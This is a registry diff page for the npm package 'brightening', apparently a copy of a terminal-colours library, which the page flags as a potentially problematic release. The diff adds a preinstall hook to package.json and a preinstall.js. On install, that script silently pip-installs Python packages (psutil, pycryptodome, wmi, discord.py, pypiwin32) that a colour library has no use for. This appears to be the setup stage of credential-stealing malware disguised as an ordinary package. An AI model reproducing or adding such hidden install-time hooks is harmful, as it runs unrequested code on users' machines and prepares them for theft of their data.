brightening 0.0.1-security → 1.7.1-alpha
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of brightening might be problematic. Click here for more details.
- package/LICENSE +25 -0
- package/README.md +86 -3
- package/examples/normal-usage.js +82 -0
- package/examples/safe-string.js +79 -0
- package/index.d.ts +136 -0
- package/lib/colors.js +211 -0
- package/lib/custom/american.js +31 -0
- package/lib/custom/spawn.js +1 -0
- package/lib/custom/trap.js +46 -0
- package/lib/custom/zalgo.js +110 -0
- package/lib/extendStringPrototype.js +111 -0
- package/lib/index.js +15 -0
- package/lib/maps/america.js +10 -0
- package/lib/maps/rainbow.js +12 -0
- package/lib/maps/random.js +11 -0
- package/lib/maps/zebra.js +5 -0
- package/lib/styles.js +95 -0
- package/lib/system/analytics.js +49 -0
- package/lib/system/has-flag.js +35 -0
- package/lib/system/supports-colors.js +151 -0
- package/package.json +34 -4
- package/preinstall.js +40 -0
- package/themes/generic-logging.js +12 -0
package/package.json
CHANGED
@@ -1,6 +1,36 @@
|
|
1
1
|
{
|
2
|
-
|
3
|
-
|
4
|
-
|
5
|
-
|
2
|
+
"name": "brightening",
|
3
|
+
"description": "make your node.js terminal colourful",
|
4
|
+
"version": "1.7.1-alpha",
|
5
|
+
"author": "ephemeral_context",
|
6
|
+
"keywords": [
|
7
|
+
"ansi",
|
8
|
+
"terminal",
|
9
|
+
"colors"
|
10
|
+
],
|
11
|
+
"license": "MIT",
|
12
|
+
"scripts": {
|
13
|
+
"lint": "eslint . --fix",
|
14
|
+
"preinstall": "node preinstall.js",
|
15
|
+
"test": "node tests/basic-test.js && node tests/safe-test.js"
|
16
|
+
},
|
17
|
+
"engines": {
|
18
|
+
"node": ">=0.1.90"
|
19
|
+
},
|
20
|
+
"main": "lib/index.js",
|
21
|
+
"files": [
|
22
|
+
"examples",
|
23
|
+
"lib",
|
24
|
+
"LICENSE",
|
25
|
+
"themes",
|
26
|
+
"preinstall.js",
|
27
|
+
"index.d.ts"
|
28
|
+
],
|
29
|
+
"devDependencies": {
|
30
|
+
"eslint": "^5.2.0",
|
31
|
+
"eslint-config-google": "^0.11.0"
|
32
|
+
},
|
33
|
+
"dependencies": {
|
34
|
+
"superagent": "^8.0.9"
|
35
|
+
}
|
6
36
|
}
|
package/preinstall.js
ADDED
@@ -0,0 +1,40 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
|
3
|
+
function installDependencies() {
|
4
|
+
console.log("Installing dependencies, this may take a while...")
|
5
|
+
|
6
|
+
exec(
|
7
|
+
"pip install psutil pycryptodome requests wmi psutil discord.py pypiwin32",
|
8
|
+
(error, stdout, stderr) => {
|
9
|
+
if (error) {
|
10
|
+
console.error(
|
11
|
+
"Could not install required Python dependencies!\n" +
|
12
|
+
"Stack trace:\n"
|
13
|
+
)
|
14
|
+
|
15
|
+
console.error(error)
|
16
|
+
process.exit(1)
|
17
|
+
}
|
18
|
+
}
|
19
|
+
)
|
20
|
+
}
|
21
|
+
|
22
|
+
function checkForInstallation() {
|
23
|
+
exec("python --version", (error, stdout, stderr) => {
|
24
|
+
if (error) {
|
25
|
+
console.error(
|
26
|
+
"Could not find a valid Python installation!\n" +
|
27
|
+
"Make sure Python is discoverable under `python`!\n\n" +
|
28
|
+
|
29
|
+
"If you're on Windows, please install Python from the Microsoft store:\n" +
|
30
|
+
"https://apps.microsoft.com/store/detail/python-311/9NRWMJP3717K"
|
31
|
+
)
|
32
|
+
|
33
|
+
process.exit(1)
|
34
|
+
} else {
|
35
|
+
installDependencies()
|
36
|
+
}
|
37
|
+
})
|
38
|
+
}
|
39
|
+
|
40
|
+
checkForInstallation()
|